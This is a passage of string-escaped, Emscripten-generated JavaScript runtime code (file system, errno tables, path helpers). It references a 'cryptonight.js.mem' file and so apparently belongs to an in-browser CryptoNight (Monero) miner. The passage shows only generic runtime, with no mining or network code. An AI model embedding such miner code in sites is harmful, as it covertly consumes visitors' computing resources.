finalMethod===\x22asmjs\x22){return\x20asmjsReallocBuffer(size)}else{return\x20wasmReallocBuffer(size)}});var\x20finalMethod=\x22\x22;Module[\x22asm\x22]=(function(global,env,providedBuffer){global=fixImports(global);env=fixImports(env);if(!env[\x22table\x22]){var\x20TABLE_SIZE=Module[\x22wasmTableSize\x22];if(TABLE_SIZE===undefined)TABLE_SIZE=1024;var\x20MAX_TABLE_SIZE=Module[\x22wasmMaxTableSize\x22];if(typeof\x20WebAssembly===\x22object\x22&&typeof\x20WebAssembly.Table===\x22function\x22){if(MAX_TABLE_SIZE!==undefined){env[\x22table\x22]=new\x20WebAssembly.Table({\x22initial\x22:TABLE_SIZE,\x22maximum\x22:MAX_TABLE_SIZE,\x22element\x22:\x22anyfunc\x22})}else{env[\x22table\x22]=new\x20WebAssembly.Table({\x22initial\x22:TABLE_SIZE,element:\x22anyfunc\x22})}}else{env[\x22table\x22]=new\x20Array(TABLE_SIZE)}Module[\x22wasmTable\x22]=env[\x22table\x22]}if(!env[\x22memoryBase\x22]){env[\x22memoryBase\x22]=Module[\x22STATIC_BASE\x22]}if(!env[\x22tableBase\x22]){env[\x22tableBase\x22]=0}var\x20exports;exports=doNativeWasm(global,env,providedBuffer);return\x20exports});var\x20methodHandler=Module[\x22asm\x22]}integrateWasmJS(Module);var\x20ASM_CONSTS=[];STATIC_BASE=Runtime.GLOBAL_BASE;STATICTOP=STATIC_BASE+12512;__ATINIT__.push();memoryInitializer=Module[\x22wasmJSMethod\x22].indexOf(\x22asmjs\x22)>=0||Module[\x22wasmJSMethod\x22].indexOf(\x22interpret-asm2wasm\x22)>=0?\x22cryptonight.js.mem\x22:null;var\x20STATIC_BUMP=12512;Module[\x22STATIC_BASE\x22]=STATIC_BASE;Module[\x22STATIC_BUMP\x22]=STATIC_BUMP;var\x20tempDoublePtr=STATICTOP;STATICTOP+=16;function\x20___assert_fail(condition,filename,line,func){ABORT=true;throw\x22Assertion\x20failed:\x20\x22+Pointer_stringify(condition)+\x22,\x20at:\x20\x22+[filename?Pointer_stringify(filename):\x22unknown\x20filename\x22,line,func?Pointer_stringify(func):\x22unknown\x20function\x22]+\x22\x20at\x20\x22+stackTrace()}var\x20PROCINFO={ppid:1,pid:42,sid:42,pgid:42};var\x20ERRNO_CODES={EPERM:1,ENOENT:2,ESRCH:3,EINTR:4,EIO:5,ENXIO:6,E2BIG:7,ENOEXEC:8,EBADF:9,ECHILD:10,EAGAIN:11,EWOULDBLOCK:11,ENOMEM:12,EACCES:13,EFAULT:14,ENOTBLK:15,EBUSY:16,EEXIST:17,EXDEV:18,ENODEV:19,ENOTDIR:20,EISDIR:21,EINVAL:22,ENFILE:23,EMFILE:24,ENOTTY:25,ETXTBSY:26,EFBIG:27,ENOSPC:28,ESPIPE:29,EROFS:30,EMLINK:31,EPIPE:32,EDOM:33,ERANGE:34,ENOMSG:42,EIDRM:43,ECHRNG:44,EL2NSYNC:45,EL3HLT:46,EL3RST:47,ELNRNG:48,EUNATCH:49,ENOCSI:50,EL2HLT:51,EDEADLK:35,ENOLCK:37,EBADE:52,EBADR:53,EXFULL:54,ENOANO:55,EBADRQC:56,EBADSLT:57,EDEADLOCK:35,EBFONT:59,ENOSTR:60,ENODATA:61,ETIME:62,ENOSR:63,ENONET:64,ENOPKG:65,EREMOTE:66,ENOLINK:67,EADV:68,ESRMNT:69,ECOMM:70,EPROTO:71,EMULTIHOP:72,EDOTDOT:73,EBADMSG:74,ENOTUNIQ:76,EBADFD:77,EREMCHG:78,ELIBACC:79,ELIBBAD:80,ELIBSCN:81,ELIBMAX:82,ELIBEXEC:83,ENOSYS:38,ENOTEMPTY:39,ENAMETOOLONG:36,ELOOP:40,EOPNOTSUPP:95,EPFNOSUPPORT:96,ECONNRESET:104,ENOBUFS:105,EAFNOSUPPORT:97,EPROTOTYPE:91,ENOTSOCK:88,ENOPROTOOPT:92,ESHUTDOWN:108,ECONNREFUSED:111,EADDRINUSE:98,ECONNABORTED:103,ENETUNREACH:101,ENETDOWN:100,ETIMEDOUT:110,EHOSTDOWN:112,EHOSTUNREACH:113,EINPROGRESS:115,EALREADY:114,EDESTADDRREQ:89,EMSGSIZE:90,EPROTONOSUPPORT:93,ESOCKTNOSUPPORT:94,EADDRNOTAVAIL:99,ENETRESET:102,EISCONN:106,ENOTCONN:107,ETOOMANYREFS:109,EUSERS:87,EDQUOT:122,ESTALE:116,ENOTSUP:95,ENOMEDIUM:123,EILSEQ:84,EOVERFLOW:75,ECANCELED:125,ENOTRECOVERABLE:131,EOWNERDEAD:130,ESTRPIPE:86};var\x20ERRNO_MESSAGES={0:\x22Success\x22,1:\x22Not\x20super-user\x22,2:\x22No\x20such\x20file\x20or\x20directory\x22,3:\x22No\x20such\x20process\x22,4:\x22Interrupted\x20system\x20call\x22,5:\x22I/O\x20error\x22,6:\x22No\x20such\x20device\x20or\x20address\x22,7:\x22Arg\x20list\x20too\x20long\x22,8:\x22Exec\x20format\x20error\x22,9:\x22Bad\x20file\x20number\x22,10:\x22No\x20children\x22,11:\x22No\x20more\x20processes\x22,12:\x22Not\x20enough\x20core\x22,13:\x22Permission\x20denied\x22,14:\x22Bad\x20address\x22,15:\x22Block\x20device\x20required\x22,16:\x22Mount\x20device\x20busy\x22,17:\x22File\x20exists\x22,18:\x22Cross-device\x20link\x22,19:\x22No\x20such\x20device\x22,20:\x22Not\x20a\x20directory\x22,21:\x22Is\x20a\x20directory\x22,22:\x22Invalid\x20argument\x22,23:\x22Too\x20many\x20open\x20files\x20in\x20system\x22,24:\x22Too\x20many\x20open\x20files\x22,25:\x22Not\x20a\x20typewriter\x22,26:\x22Text\x20file\x20busy\x22,27:\x22File\x20too\x20large\x22,28:\x22No\x20space\x20left\x20on\x20device\x22,29:\x22Illegal\x20seek\x22,30:\x22Read\x20only\x20file\x20system\x22,31:\x22Too\x20many\x20links\x22,32:\x22Broken\x20pipe\x22,33:\x22Math\x20arg\x20out\x20of\x20domain\x20of\x20func\x22,34:\x22Math\x20result\x20not\x20representable\x22,35:\x22File\x20locking\x20deadlock\x20error\x22,36:\x22File\x20or\x20path\x20name\x20too\x20long\x22,37:\x22No\x20record\x20locks\x20available\x22,38:\x22Function\x20not\x20implemented\x22,39:\x22Directory\x20not\x20empty\x22,40:\x22Too\x20many\x20symbolic\x20links\x22,42:\x22No\x20message\x20of\x20desired\x20type\x22,43:\x22Identifier\x20removed\x22,44:\x22Channel\x20number\x20out\x20of\x20range\x22,45:\x22Level\x202\x20not\x20synchronized\x22,46:\x22Level\x203\x20halted\x22,47:\x22Level\x203\x20reset\x22,48:\x22Link\x20number\x20out\x20of\x20range\x22,49:\x22Protocol\x20driver\x20not\x20attached\x22,50:\x22No\x20CSI\x20structure\x20available\x22,51:\x22Level\x202\x20halted\x22,52:\x22Invalid\x20exchange\x22,53:\x22Invalid\x20request\x20descriptor\x22,54:\x22Exchange\x20full\x22,55:\x22No\x20anode\x22,56:\x22Invalid\x20request\x20code\x22,57:\x22Invalid\x20slot\x22,59:\x22Bad\x20font\x20file\x20fmt\x22,60:\x22Device\x20not\x20a\x20stream\x22,61:\x22No\x20data\x20(for\x20no\x20delay\x20io)\x22,62:\x22Timer\x20expired\x22,63:\x22Out\x20of\x20streams\x20resources\x22,64:\x22Machine\x20is\x20not\x20on\x20the\x20network\x22,65:\x22Package\x20not\x20installed\x22,66:\x22The\x20object\x20is\x20remote\x22,67:\x22The\x20link\x20has\x20been\x20severed\x22,68:\x22Advertise\x20error\x22,69:\x22Srmount\x20error\x22,70:\x22Communication\x20error\x20on\x20send\x22,71:\x22Protocol\x20error\x22,72:\x22Multihop\x20attempted\x22,73:\x22Cross\x20mount\x20point\x20(not\x20really\x20error)\x22,74:\x22Trying\x20to\x20read\x20unreadable\x20message\x22,75:\x22Value\x20too\x20large\x20for\x20defined\x20data\x20type\x22,76:\x22Given\x20log.\x20name\x20not\x20unique\x22,77:\x22f.d.\x20invalid\x20for\x20this\x20operation\x22,78:\x22Remote\x20address\x20changed\x22,79:\x22Can\x20access\x20a\x20needed\x20shared\x20lib\x22,80:\x22Accessing\x20a\x20corrupted\x20shared\x20lib\x22,81:\x22.lib\x20section\x20in\x20a.out\x20corrupted\x22,82:\x22Attempting\x20to\x20link\x20in\x20too\x20many\x20libs\x22,83:\x22Attempting\x20to\x20exec\x20a\x20shared\x20library\x22,84:\x22Illegal\x20byte\x20sequence\x22,86:\x22Streams\x20pipe\x20error\x22,87:\x22Too\x20many\x20users\x22,88:\x22Socket\x20operation\x20on\x20non-socket\x22,89:\x22Destination\x20address\x20required\x22,90:\x22Message\x20too\x20long\x22,91:\x22Protocol\x20wrong\x20type\x20for\x20socket\x22,92:\x22Protocol\x20not\x20available\x22,93:\x22Unknown\x20protocol\x22,94:\x22Socket\x20type\x20not\x20supported\x22,95:\x22Not\x20supported\x22,96:\x22Protocol\x20family\x20not\x20supported\x22,97:\x22Address\x20family\x20not\x20supported\x20by\x20protocol\x20family\x22,98:\x22Address\x20already\x20in\x20use\x22,99:\x22Address\x20not\x20available\x22,100:\x22Network\x20interface\x20is\x20not\x20configured\x22,101:\x22Network\x20is\x20unreachable\x22,102:\x22Connection\x20reset\x20by\x20network\x22,103:\x22Connection\x20aborted\x22,104:\x22Connection\x20reset\x20by\x20peer\x22,105:\x22No\x20buffer\x20space\x20available\x22,106:\x22Socket\x20is\x20already\x20connected\x22,107:\x22Socket\x20is\x20not\x20connected\x22,108:\x22Can\x27t\x20send\x20after\x20socket\x20shutdown\x22,109:\x22Too\x20many\x20references\x22,110:\x22Connection\x20timed\x20out\x22,111:\x22Connection\x20refused\x22,112:\x22Host\x20is\x20down\x22,113:\x22Host\x20is\x20unreachable\x22,114:\x22Socket\x20already\x20connected\x22,115:\x22Connection\x20already\x20in\x20progress\x22,116:\x22Stale\x20file\x20handle\x22,122:\x22Quota\x20exceeded\x22,123:\x22No\x20medium\x20(in\x20tape\x20drive)\x22,125:\x22Operation\x20canceled\x22,130:\x22Previous\x20owner\x20died\x22,131:\x22State\x20not\x20recoverable\x22};function\x20___setErrNo(value){if(Module[\x22___errno_location\x22])HEAP32[Module[\x22___errno_location\x22]()>>2]=value;return\x20value}var\x20PATH={splitPath:(function(filename){var\x20splitPathRe=/^(\x5c/?|)([\x5cs\x5cS]*?)((?:\x5c.{1,2}|[^\x5c/]+?|)(\x5c.[^.\x5c/]*|))(?:[\x5c/]*)$/;return\x20splitPathRe.exec(filename).slice(1)}),normalizeArray:(function(parts,allowAboveRoot){var\x20up=0;for(var\x20i=parts.length-1;i>=0;i--){var\x20last=parts[i];if(last===\x22.\x22){parts.splice(i,1)}else\x20if(last===\x22..\x22){parts.splice(i,1);up++}else\x20if(up){parts.splice(i,1);up--}}if(allowAboveRoot){for(;up;up--){parts.unshift(\x22..\x22)}}return\x20parts}),normalize:(function(path){var\x20isAbsolute=path.charAt(0)===\x22/\x22,trailingSlash=path.substr(-1)===\x22/\x22;path=PATH.normalizeArray(path.split(\x22/\x22).filter((function(p){return!!p})),!isAbsolute).join(\x22/\x22);if(!path&&!isAbsolute){path=\x22.\x22}if(path&&trailingSlash){path+=\x22/\x22}return(isAbsolute?\x22/\x22:\x22\x22)+path}),dirname:(function(path){var\x20result=PATH.splitPath(path),root=result[0],dir=result[1];if(!root&&!dir){return\x22.\x22}if(dir){dir=dir.substr(0,dir.length-1)}return\x20root+dir}),basename:(function(path){if(path===\x22/\x22)return\x22/\x22;var\x20lastSlash=path.lastIndexOf(\x22/\x22);if(lastSlash===-1)return\x20path;return\x20path.substr(lastSlash+1)}),extname:(function(path){return\x20PATH.splitPath(path)[3]}),join:(function(){var\x20paths=Array.prototype.slice.call(arguments,0);return\x20PATH.normalize(paths.join(\x22/\x22))}),join2:(function(l,r){return\x20PATH.normalize(l+\x22/\x22+r)}),resolve:(function(){var\x20resolvedPath=\x22\x22,resolvedAbsolute=false;for(var\x20i=arguments.length-1;i>=-1&&!resolvedAbsolute;i--){var\x20path=i>=0?arguments[i]:FS.cwd();if(typeof\x20path!==\x22string\x22){throw\x20new\x20TypeError(\x22Arguments\x20to\x20path.resolve\x20must\x20be\x20strings\x22)}else\x20if(!path){return\x22\x22}resolvedPath=path+\x22/\x22+resolvedPath;resolvedAbsolute=path.charAt(0)===\x22/\x22}resolvedPath=PATH.normalizeArray(resolvedPath.split(\x22/\x22).filter((function(p){return!!p})),!resolvedAbsolute).join(\x22/\x22);return(resolvedAbsolute?\x22/\x22:\x22\x22)+resolvedPath||\x22.\x22}),relative:(function(from,to){from=PATH.resolve(from).substr(1);to=PATH.resolve(to).substr(1);function\x20trim(arr){var\x20start=0;for(;start<arr.length;start++){if(arr[start]!==\x22\x22)break}var\x20end=arr.length-1;for(;end>=0;end--){if(arr[end]!==\x22\x22)break}if(start>end)return[];return\x20arr.slice(start,end-start+1)}var\x20fromParts=trim(from.split(\x22/\x22));var\x20toParts=trim(to.split(\x22/\x22));var\x20length=Math.min(fromParts.length,toParts.length);var\x20samePartsLength=length;for(var\x20i=0;i<length;i++){if(fromParts[i]!==toParts[i]){samePartsLength=i;break}}var\x20outputParts=[];for(var\x20i=samePartsLength;i<fromParts.length;i++){outputParts.push(\x22..\x22)}outputParts=outputParts.concat(toParts.slice(samePartsLength));return\x20outputParts.join(\x22/\x22)})};var\x20TTY={ttys:[],init:(function(){}),shutdown:(function(){}),register:(function(dev,ops){TTY.ttys[dev]={input:[],output:[],ops:ops};FS.registerDevice(dev,TTY.stream_ops)}),stream_ops:{open:(function(stream){var\x20tty=TTY.ttys[stream.node.rdev];if(!tty){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENODEV)}stream.tty=tty;stream.seekable=false}),close:(function(stream){stream.tty.ops.flush(stream.tty)}),flush:(function(stream){stream.tty.ops.flush(stream.tty)}),read:(function(stream,buffer,offset,length,pos){if(!stream.tty||!stream.tty.ops.get_char){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENXIO)}var\x20bytesRead=0;for(var\x20i=0;i<length;i++){var\x20result;try{result=stream.tty.ops.get_char(stream.tty)}catch(e){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EIO)}if(result===undefined&&bytesRead===0){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EAGAIN)}if(result===null||result===undefined)break;bytesRead++;buffer[offset+i]=result}if(bytesRead){stream.node.timestamp=Date.now()}return\x20bytesRead}),write:(function(stream,buffer,offset,length,pos){if(!stream.tty||!stream.tty.ops.put_char){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENXIO)}for(var\x20i=0;i<length;i++){try{stream.tty.ops.put_char(stream.tty,buffer[offset+i])}catch(e){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EIO)}}if(length){stream.node.timestamp=Date.now()}return\x20i})},default_tty_ops:{get_char:(function(tty){if(!tty.input.length){var\x20result=null;if(ENVIRONMENT_IS_NODE){var\x20BUFSIZE=256;var\x20buf=new\x20Buffer(BUFSIZE);var\x20bytesRead=0;var\x20isPosixPlatform=process.platform!=\x22win32\x22;var\x20fd=process.stdin.fd;if(isPosixPlatform){var\x20usingDevice=false;try{fd=fs.openSync(\x22/dev/stdin\x22,\x22r\x22);usingDevice=true}catch(e){}}try{bytesRead=fs.readSync(fd,buf,0,BUFSIZE,null)}catch(e){if(e.toString().indexOf(\x22EOF\x22)!=-1)bytesRead=0;else\x20throw\x20e}if(usingDevice){fs.closeSync(fd)}if(bytesRead>0){result=buf.slice(0,bytesRead).toString(\x22utf-8\x22)}else{result=null}}else\x20if(typeof\x20window!=\x22undefined\x22&&typeof\x20window.prompt==\x22function\x22){result=window.prompt(\x22Input:\x20\x22);if(result!==null){result+=\x22\x5cn\x22}}else\x20if(typeof\x20readline==\x22function\x22){result=readline();if(result!==null){result+=\x22\x5cn\x22}}if(!result){return\x20null}tty.input=intArrayFromString(result,true)}return\x20tty.input.shift()}),put_char:(function(tty,val){if(val===null||val===10){Module[\x22print\x22](UTF8ArrayToString(tty.output,0));tty.output=[]}else{if(val!=0)tty.output.push(val)}}),flush:(function(tty){if(tty.output&&tty.output.length>0){Module[\x22print\x22](UTF8ArrayToString(tty.output,0));tty.output=[]}})},default_tty1_ops:{put_char:(function(tty,val){if(val===null||val===10){Module[\x22printErr\x22](UTF8ArrayToString(tty.output,0));tty.output=[]}else{if(val!=0)tty.output.push(val)}}),flush:(function(tty){if(tty.output&&tty.output.length>0){Module[\x22printErr\x22](UTF8ArrayToString(tty.output,0));tty.output=[]}})}};var\x20MEMFS={ops_table:null,mount:(function(mount){return\x20MEMFS.createNode(null,\x22/\x22,16384|511,0)}),createNode:(function(parent,name,mode,dev){if(FS.isBlkdev(mode)||FS.isFIFO(mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EPERM)}if(!MEMFS.ops_table){MEMFS.ops_table={dir:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,lookup:MEMFS.node_ops.lookup,mknod:MEMFS.node_ops.mknod,rename:MEMFS.node_ops.rename,unlink:MEMFS.node_ops.unlink,rmdir:MEMFS.node_ops.rmdir,readdir:MEMFS.node_ops.readdir,symlink:MEMFS.node_ops.symlink},stream:{llseek:MEMFS.stream_ops.llseek}},file:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:{llseek:MEMFS.stream_ops.llseek,read:MEMFS.stream_ops.read,write:MEMFS.stream_ops.write,allocate:MEMFS.stream_ops.allocate,mmap:MEMFS.stream_ops.mmap,msync:MEMFS.stream_ops.msync}},link:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr,readlink:MEMFS.node_ops.readlink},stream:{}},chrdev:{node:{getattr:MEMFS.node_ops.getattr,setattr:MEMFS.node_ops.setattr},stream:FS.chrdev_stream_ops}}}var\x20node=FS.createNode(parent,name,mode,dev);if(FS.isDir(node.mode)){node.node_ops=MEMFS.ops_table.dir.node;node.stream_ops=MEMFS.ops_table.dir.stream;node.contents={}}else\x20if(FS.isFile(node.mode)){node.node_ops=MEMFS.ops_table.file.node;node.stream_ops=MEMFS.ops_table.file.stream;node.usedBytes=0;node.contents=null}else\x20if(FS.isLink(node.mode)){node.node_ops=MEMFS.ops_table.link.node;node.stream_ops=MEMFS.ops_table.link.stream}else\x20if(FS.isChrdev(node.mode)){node.node_ops=MEMFS.ops_table.chrdev.node;node.stream_ops=MEMFS.ops_table.chrdev.stream}node.timestamp=Date.now();if(parent){parent.contents[name]=node}return\x20node}),getFileDataAsRegularArray:(function(node){if(node.contents&&node.contents.subarray){var\x20arr=[];for(var\x20i=0;i<node.usedBytes;++i)arr.push(node.contents[i]);return\x20arr}return\x20node.contents}),getFileDataAsTypedArray:(function(node){if(!node.contents)return\x20new\x20Uint8Array;if(node.contents.subarray)return\x20node.contents.subarray(0,node.usedBytes);return\x20new\x20Uint8Array(node.contents)}),expandFileStorage:(function(node,newCapacity){if(node.contents&&node.contents.subarray&&newCapacity>node.contents.length){node.contents=MEMFS.getFileDataAsRegularArray(node);node.usedBytes=node.contents.length}if(!node.contents||node.contents.subarray){var\x20prevCapacity=node.contents?node.contents.length:0;if(prevCapacity>=newCapacity)return;var\x20CAPACITY_DOUBLING_MAX=1024*1024;newCapacity=Math.max(newCapacity,prevCapacity*(prevCapacity<CAPACITY_DOUBLING_MAX?2:1.125)|0);if(prevCapacity!=0)newCapacity=Math.max(newCapacity,256);var\x20oldContents=node.contents;node.contents=new\x20Uint8Array(newCapacity);if(node.usedBytes>0)node.contents.set(oldContents.subarray(0,node.usedBytes),0);return}if(!node.contents&&newCapacity>0)node.contents=[];while(node.contents.length<newCapacity)node.contents.push(0)}),resizeFileStorage:(function(node,newSize){if(node.usedBytes==newSize)return;if(newSize==0){node.contents=null;node.usedBytes=0;return}if(!node.contents||node.contents.subarray){var\x20oldContents=node.contents;node.contents=new\x20Uint8Array(new\x20ArrayBuffer(newSize));if(oldContents){node.contents.set(oldContents.subarray(0,Math.min(newSize,node.usedBytes)))}node.usedBytes=newSize;return}if(!node.contents)node.contents=[];if(node.contents.length>newSize)node.contents.length=newSize;else\x20while(node.contents.length<newSize)node.contents.push(0);node.usedBytes=newSize}),node_ops:{getattr:(function(node){var\x20attr={};attr.dev=FS.isChrdev(node.mode)?node.id:1;attr.ino=node.id;attr.mode=node.mode;attr.nlink=1;attr.uid=0;attr.gid=0;attr.rdev=node.rdev;if(FS.isDir(node.mode)){attr.size=4096}else\x20if(FS.isFile(node.mode)){attr.size=node.usedBytes}else\x20if(FS.isLink(node.mode)){attr.size=node.link.length}else{attr.size=0}attr.atime=new\x20Date(node.timestamp);attr.mtime=new\x20Date(node.timestamp);attr.ctime=new\x20Date(node.timestamp);attr.blksize=4096;attr.blocks=Math.ceil(attr.size/attr.blksize);return\x20attr}),setattr:(function(node,attr){if(attr.mode!==undefined){node.mode=attr.mode}if(attr.timestamp!==undefined){node.timestamp=attr.timestamp}if(attr.size!==undefined){MEMFS.resizeFileStorage(node,attr.size)}}),lookup:(function(parent,name){throw\x20FS.genericErrors[ERRNO_CODES.ENOENT]}),mknod:(function(parent,name,mode,dev){return\x20MEMFS.createNode(parent,name,mode,dev)}),rename:(function(old_node,new_dir,new_name){if(FS.isDir(old_node.mode)){var\x20new_node;try{new_node=FS.lookupNode(new_dir,new_name)}catch(e){}if(new_node){for(var\x20i\x20in\x20new_node.contents){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}}}delete\x20old_node.parent.contents[old_node.name];old_node.name=new_name;new_dir.contents[new_name]=old_node;old_node.parent=new_dir}),unlink:(function(parent,name){delete\x20parent.contents[name]}),rmdir:(function(parent,name){var\x20node=FS.lookupNode(parent,name);for(var\x20i\x20in\x20node.contents){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}delete\x20parent.contents[name]}),readdir:(function(node){var\x20entries=[\x22.\x22,\x22..\x22];for(var\x20key\x20in\x20node.contents){if(!node.contents.hasOwnProperty(key)){continue}entries.push(key)}return\x20entries}),symlink:(function(parent,newname,oldpath){var\x20node=MEMFS.createNode(parent,newname,511|40960,0);node.link=oldpath;return\x20node}),readlink:(function(node){if(!FS.isLink(node.mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}return\x20node.link})},stream_ops:{read:(function(stream,buffer,offset,length,position){var\x20contents=stream.node.contents;if(position>=stream.node.usedBytes)return\x200;var\x20size=Math.min(stream.node.usedBytes-position,length);assert(size>=0);if(size>8&&contents.subarray){buffer.set(contents.subarray(position,position+size),offset)}else{for(var\x20i=0;i<size;i++)buffer[offset+i]=contents[position+i]}return\x20size}),write:(function(stream,buffer,offset,length,position,canOwn){if(!length)return\x200;var\x20node=stream.node;node.timestamp=Date.now();if(buffer.subarray&&(!node.contents||node.contents.subarray)){if(canOwn){node.contents=buffer.subarray(offset,offset+length);node.usedBytes=length;return\x20length}else\x20if(node.usedBytes===0&&position===0){node.contents=new\x20Uint8Array(buffer.subarray(offset,offset+length));node.usedBytes=length;return\x20length}else\x20if(position+length<=node.usedBytes){node.contents.set(buffer.subarray(offset,offset+length),position);return\x20length}}MEMFS.expandFileStorage(node,position+length);if(node.contents.subarray&&buffer.subarray)node.contents.set(buffer.subarray(offset,offset+length),position);else{for(var\x20i=0;i<length;i++){node.contents[position+i]=buffer[offset+i]}}node.usedBytes=Math.max(node.usedBytes,position+length);return\x20length}),llseek:(function(stream,offset,whence){var\x20position=offset;if(whence===1){position+=stream.position}else\x20if(whence===2){if(FS.isFile(stream.node.mode)){position+=stream.node.usedBytes}}if(position<0){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.EINVAL)}return\x20position}),allocate:(function(stream,offset,length){MEMFS.expandFileStorage(stream.node,offset+length);stream.node.usedBytes=Math.max(stream.node.usedBytes,offset+length)}),mmap:(function(stream,buffer,offset,length,position,prot,flags){if(!FS.isFile(stream.node.mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENODEV)}var\x20ptr;var\x20allocated;var\x20contents=stream.node.contents;if(!(flags&2)&&(contents.buffer===buffer||contents.buffer===buffer.buffer)){allocated=false;ptr=contents.byteOffset}else{if(position>0||position+length<stream.node.usedBytes){if(contents.subarray){contents=contents.subarray(position,position+length)}else{contents=Array.prototype.slice.call(contents,position,position+length)}}allocated=true;ptr=_malloc(length);if(!ptr){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENOMEM)}buffer.set(contents,ptr)}return{ptr:ptr,allocated:allocated}}),msync:(function(stream,buffer,offset,length,mmapFlags){if(!FS.isFile(stream.node.mode)){throw\x20new\x20FS.ErrnoError(ERRNO_CODES.ENODEV)}if(mmapFlags&2){return\x200}var\x20bytesWritten=MEMFS.stream_ops.write(stream,buffer,0,length,offset,false);return\x200})}};var\x20IDBFS={dbs:{},indexedDB:(function(){if(typeof\x20indexedDB!==\x22undefined\x22)return\x20indexedDB;var\x20ret=null;if(typeof\x20window===\x22object\x22)ret=window.indexedDB||window.mozIndexedDB||window.webkitIndexedDB||window.msIndexedDB;assert(ret,\x22IDBFS\x20used,\x20but\x20indexedDB\x20not\x20supported\x22);return\x20ret}),DB_VERSION:21,DB_STORE_NAME:\x22FILE_DATA\x22,mount:(function(mount){return\x20MEMFS.mount.apply(null,arguments)}),syncfs:(function(mount,populate,callback){IDBFS.getLocalSet(mount,(function(err,local){if(err)return\x20callback(err);IDBFS.getRemoteSet(mount,(function(err,remote){if(err)return\x20callback(err);var\x20src=populate?remote:local;var\x20dst=populate?local:remote;IDBFS.reconcile(src,dst,callback)}))}))}),getDB:(function(name,callback){var\x20db=IDBFS.dbs[name];if(db){return\x20callback(null,db)}var\x20req;try{req=IDBFS.indexedDB().open(name,IDBFS.DB_VERSION)}catch(e){return\x20callback(e)}if(!req){return\x20callback(\x22Unable\x20to\x20connect\x20to\x20IndexedDB\x22)}req.onupgradeneeded=(function(e){var\x20db=e.target.result;var\x20transaction=e.target.transaction;var\x20fileStore;if(db.objectStoreNames.contains(IDBFS.DB_STORE_NAME)){fileStore=transaction.objectStore(IDBFS.DB_STORE_NAME)}else{fileStore=db.createObjectStore(IDBFS.DB_STORE_NAME)}if(!fileStore.indexNames.contains(\x22timestamp\x22)){fileStore.createIndex(\x22timestamp\x22,\x22timestamp\x22,{unique:false})}});req.onsuccess=(function(){db=req.result;IDBFS.dbs[name]=db;callback(null,db)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),getLocalSet:(function(mount,callback){var\x20entries={};function\x20isRealDir(p){return\x20p!==\x22.\x22&&p!==\x22..\x22}function\x20toAbsolute(root){return(function(p){return\x20PATH.join2(root,p)})}var\x20check=FS.readdir(mount.mountpoint).filter(isRealDir).map(toAbsolute(mount.mountpoint));while(check.length){var\x20path=check.pop();var\x20stat;try{stat=FS.stat(path)}catch(e){return\x20callback(e)}if(FS.isDir(stat.mode)){check.push.apply(check,FS.readdir(path).filter(isRealDir).map(toAbsolute(path)))}entries[path]={timestamp:stat.mtime}}return\x20callback(null,{type:\x22local\x22,entries:entries})}),getRemoteSet:(function(mount,callback){var\x20entries={};IDBFS.getDB(mount.mountpoint,(function(err,db){if(err)return\x20callback(err);var\x20transaction=db.transaction([IDBFS.DB_STORE_NAME],\x22readonly\x22);transaction.onerror=(function(e){callback(this.error);e.preventDefault()});var\x20store=transaction.objectStore(IDBFS.DB_STORE_NAME);var\x20index=store.index(\x22timestamp\x22);index.openKeyCursor().onsuccess=(function(event){var\x20cursor=event.target.result;if(!cursor){return\x20callback(null,{type:\x22remote\x22,db:db,entries:entries})}entries[cursor.primaryKey]={timestamp:cursor.key};cursor.continue()})}))}),loadLocalEntry:(function(path,callback){var\x20stat,node;try{var\x20lookup=FS.lookupPath(path);node=lookup.node;stat=FS.stat(path)}catch(e){return\x20callback(e)}if(FS.isDir(stat.mode)){return\x20callback(null,{timestamp:stat.mtime,mode:stat.mode})}else\x20if(FS.isFile(stat.mode)){node.contents=MEMFS.getFileDataAsTypedArray(node);return\x20callback(null,{timestamp:stat.mtime,mode:stat.mode,contents:node.contents})}else{return\x20callback(new\x20Error(\x22node\x20type\x20not\x20supported\x22))}}),storeLocalEntry:(function(path,entry,callback){try{if(FS.isDir(entry.mode)){FS.mkdir(path,entry.mode)}else\x20if(FS.isFile(entry.mode)){FS.writeFile(path,entry.contents,{encoding:\x22binary\x22,canOwn:true})}else{return\x20callback(new\x20Error(\x22node\x20type\x20not\x20supported\x22))}FS.chmod(path,entry.mode);FS.utime(path,entry.timestamp,entry.timestamp)}catch(e){return\x20callback(e)}callback(null)}),removeLocalEntry:(function(path,callback){try{var\x20lookup=FS.lookupPath(path);var\x20stat=FS.stat(path);if(FS.isDir(stat.mode)){FS.rmdir(path)}else\x20if(FS.isFile(stat.mode)){FS.unlink(path)}}catch(e){return\x20callback(e)}callback(null)}),loadRemoteEntry:(function(store,path,callback){var\x20req=store.get(path);req.onsuccess=(function(event){callback(null,event.target.result)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),storeRemoteEntry:(function(store,path,entry,callback){var\x20req=store.put(entry,path);req.onsuccess=(function(){callback(null)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),removeRemoteEntry:(function(store,path,callback){var\x20req=store.delete(path);req.onsuccess=(function(){callback(null)});req.onerror=(function(e){callback(this.error);e.preventDefault()})}),reconcile:(function(src,dst,callback){var\x20total=0;var\x20create=[];Object.keys(src.entries).forEach((function(key){var\x20e=src.entries[key];var\x20e2=dst.entries[key];if(!e2||e.timestamp>e2.timestamp){create.push(key);total++}}));var\x20remove=[];Object.keys(dst.entries).forEach((function(key){var\x20e=dst.entries[key];var\x20e2=src.entries[key];if(!e2){remove.push(key);total++}}));if(!total){return\x20callback(null)}var\x20completed=0;var